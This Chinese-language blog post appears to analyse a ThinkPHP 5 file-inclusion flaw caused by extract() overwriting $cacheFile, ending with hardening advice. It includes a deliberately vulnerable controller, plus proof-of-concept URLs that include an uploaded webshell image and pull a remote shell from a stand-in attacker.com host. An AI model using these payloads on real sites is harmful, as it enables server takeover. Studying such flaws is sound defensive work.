ThinkPHP 5 文件包含漏洞分析与利用

Alice
Alice
发布时间:2026-10-13 | 4人浏览过
原创

ThinkPHP 5 在模板引擎渲染过程中存在变量覆盖风险。攻击者可通过构造特定的 GET 参数,利用 extract() 函数覆盖内部的 $cacheFile 变量,从而绕过安全检查实现对任意文件的包含(Local File Inclusion)。本文详细梳理从控制器赋值到视图文件加载的完整调用链,并提供复现环境配置与 Exploit。

影响版本与环境准备

该漏洞存在于以下 ThinkPHP 版本中:

  • ThinkPHP 5.0.x:范围 5.0.0 <= Version <= 5.0.18
  • ThinkPHP 5.1.x:范围 5.1.0 <= Version <= 5.1.10(注:5.1.15 版本已修复相关逻辑,此处主要分析受影响版本及旧版环境的通用利用思路)

为了验证漏洞,需要搭建基础的 PHP + Web Server 环境。以 ThinkPHP 5.1 结构为例,需开启调试模式并确保路由指向默认控制器。

第1步:修改控制器入口逻辑

进入项目目录 application/index/controller/,编辑 Index.php 文件。我们需要确保用户输入能透传给模板渲染过程。

<?php
namespace app\index\controller;
use think\Controller;
class Index extends Controller
{
    public function index()
    {
        // 将请求中的所有参数传递给模板变量
        // 注意:在较新版本中应使用 assign('key', 'value') 逐个赋值,
        // 但此处的 pass-all 操作是触发漏洞的关键前置条件
        $this->assign(request()->get());
        return $this->fetch(); 
    }
}

创建对应的视图文件以防止报错:application/index/view/index/index.html,内容可随意填写。

漏洞原理深度分析

漏洞的核心在于模板引擎处理变量时的 extract() 函数使用了 EXTR_OVERWRITE 策略,且可控的变量直接参与了内部关键参数的构建。

第2步:追溯变量赋值路径

当访问 http://localhost/?param=value 时,Index::index() 方法调用 $this->assign(request()->get())。

这里 array_merge() 将请求参数合并为一个数组。由于未做严格的白名单过滤,用户的输入键名(如 cacheFile)会直接进入后续的处理数组中。

第3步:进入视图引擎渲染流程

assign() 只是数据存储,真正的危险发生在 fetch() 触发模板解析时。

跟进 fetch 方法,它最终会调用 View 驱动类(如 think\view\driver\Think)进行处理。

在 View::template() 或相关解析方法中,系统尝试确定要加载的文件路径。此时传入的变量中包含了用户构造的数据。

第4步:定位核心漏洞点 — read() 函数

继续深入,调用链最终进入 think\template\driver\File::read() 方法,这是实际读取模板内容的地方。

在 File.php 的第 ~84 行附近(具体行数随版本微调),代码执行了以下关键逻辑:

// 伪代码示意,展示危险点
public function read($cacheFile, $data = []) {
    // 致命缺陷:将用户可控数组直接提取为局部变量
    // EXTR_OVERWRITE 意味着如果数组中存在与当前作用域同名的键,
    // 则会覆盖现有的同名变量
    extract($data, EXTR_OVERWRITE);
    
    // 随后直接使用 $cacheFile 进行 file_get_contents 或 include
    // 由于我们传入了 cacheFile=x.jpg,这里的 $cacheFile 已被覆盖
    if (file_exists($cacheFile)) {
        return file_get_contents($cacheFile);
    }
}

这里的 extract($vars, EXTR_OVERWRITE) 是漏洞根源。虽然框架内部可能有默认的 $cacheFile 定义,但由于 EXTR_OVERWRITE 的存在,攻击者传入的参数名为 cacheFile 的值会直接覆盖掉框架预期的受保护路径。

漏洞利用(POC)

基于上述分析,攻击者只需满足两个条件即可利用此漏洞:

  1. 目标服务器允许包含远程或本地文件(通常需开启 allow_url_include 或直接包含本地敏感文件)。
  2. 存在一个可由用户控制的 cacheFile 参数。

第5步:构造利用请求

假设我们在网站的 public 目录下放置了一个 webshell 图片马 shell.jpg(模拟上传场景,或者包含配置文件等)。

构造 URL Payload:

http://target.com/index/index/index?cacheFile=../public/shell.jpg

或者如果是 RFI(远程文件包含)且 allow_url_include 开启:

http://target.com/index/index/index?cacheFile=http://attacker.com/shell.txt

访问该链接后,PHP 会解析并输出 shell.jpg 的内容。若文件中包含 PHP 代码且被正确包含,即可获得 shell。

总结与防护建议

ThinkPHP 5 的文件包含漏洞是典型的“变量覆盖”导致的逻辑漏洞。extract() 函数在处理外部输入时必须格外小心。

  • 加固建议 1:避免直接将 $_GET 或数组全部赋值给模板,应使用白名单机制逐个设置变量。
  • 加固建议 2:在使用 extract() 时,严禁使用 EXTR_OVERWRITE 模式处理用户数据,或应先检查变量是否已定义。
  • 升级方案:请尽快升级到受支持的 ThinkPHP 最新版本(如 TP6),其模板引擎的安全机制已重构,杜绝此类简单的变量覆盖问题。

以上就是 ThinkPHP 5 文件包含漏洞原理分析与利用的详细内容,更多关于 PHP 代码审计与漏洞防御的资料请关注本站其它相关文章!

相关标签:

本站声明

本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。

Python 相关产品和应用

全部下载

专题列表